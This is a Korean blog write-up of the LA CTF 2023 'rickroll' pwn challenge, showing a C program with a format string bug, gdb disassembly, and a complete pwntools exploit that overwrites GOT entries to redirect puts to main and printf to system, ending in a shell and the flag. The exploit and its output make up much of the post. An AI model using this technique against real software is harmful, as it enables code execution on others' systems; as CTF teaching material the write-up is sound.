728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
int main_called = 0;
int main(void) {
if (main_called) {
puts("nice try");
return 1;
}
main_called = 1;
setbuf(stdout, NULL);
printf("Lyrics: ");
char buf[256];
fgets(buf, 256, stdin);
printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
printf(buf);
printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
return 0;
}
2.2. 분석
main_called 변수가 1이 면 종료하고 아니면 문자열을 입력받은 다음 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
printf를 format string을 지정하지 않고 사용함에 따라 format string bug가 발생한다.
3.2. 공격 준비
무엇보다 한번만 값을 입력할 수 밖에 없는 상황에서는 무조건 다시 입력할 수 있게 만드는 것이 첫번째이다.
그 방법으로는 return address 또는 got을 main으로 돌리면 된다.
이 문제에서는 바이너리가 종료되기 직전에 printf 함수를 사용하고 끝나는 것 같지만,
gdb로 실제로 보면 puts 함수를 사용하고 있다.
0x00000000004011e2 <+144>: mov $0x0,%eax
0x00000000004011e7 <+149>: call 0x401050 <printf@plt>
0x00000000004011ec <+154>: lea 0xe7d(%rip),%rdi # 0x402070
0x00000000004011f3 <+161>: call 0x401030 <puts@plt>
0x00000000004011f8 <+166>: mov $0x0,%eax
0x00000000004011fd <+171>: leave
0x00000000004011fe <+172>: ret
그렇기에 puts got을 main으로 변경하였다.
더불어 main으로 다시 돌아갔을 때 main_called 변수가 1이면 무조건 종료되기 때문에,
각 공격마다 해당 변수는 0으로 초기화해줘야 한다.
format string bug가 발생하는 printf(buf); 는 system(buf); 로도 사용할 수 있기 때문에
printf got을 system으로 변조하였고, fgets로 system 함수와 함께 사용될 명령어를 전달해주면 된다.
4. exploit
from pwn import *
#p = process('./rickroll')
p = remote('lac.tf', 31135)
libc = ELF('./libc-2.31.so',checksec=False)
pay = b'%39$p%43$pAAAAAA'
pay += b'%48c%14$hhnAAAAA'
pay += b'%16314c%15$nAAAA'
pay += b'%49131c%16$hnAAA'
pay += p64(0x404018)
pay += p64(0x404019)
pay += p64(0x40406c)
p.sendlineafter(b': ',pay)
p.recvuntil(b"and ")
leak_1 = int(p.recv(14),16)
libc_base = leak_1 - 0x023d0a
system = libc_base + libc.sym['system']
context.bits = 64
writes = {0x404028:system}
pay = b'%256c%24$hhnAAAA'
pay += fmtstr_payload(8,writes,1028)
pay += b'A'*8
pay += p64(0x40406c)
p.sendlineafter(b'Lyrics: ',pay)
p.interactive()
┌[wyv3rn🐲]-(/mnt/c/hacking/roll)
└> python solve.py
[+] Opening connection to lac.tf on port 31135: Done
[*] Switching to interactive mode
Never gonna give you up, never gonna let you down
Never gonna run around and
pAAAA \x00
\x00 \xf0
M
% $aaash: 1: Lyrics:: not found
$ cat flag.txt
sh: 1: Never: not found
sh: 2: Never: not found
lactf{printf_gave_me_up_and_let_me_down}
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
LA CTF 2023 - crypto / one-more-time-pad (0) | 2023.02.13 |
---|---|
LA CTF 2023 - pwn/rut-roh-relro (0) | 2023.02.13 |
LA CTF 2023 - pwn/bot (0) | 2023.02.13 |
LA CTF 2023 - pwn/gatekeep (0) | 2023.02.13 |
BB CTF 2023 - Medium pwn (0) | 2023.02.06 |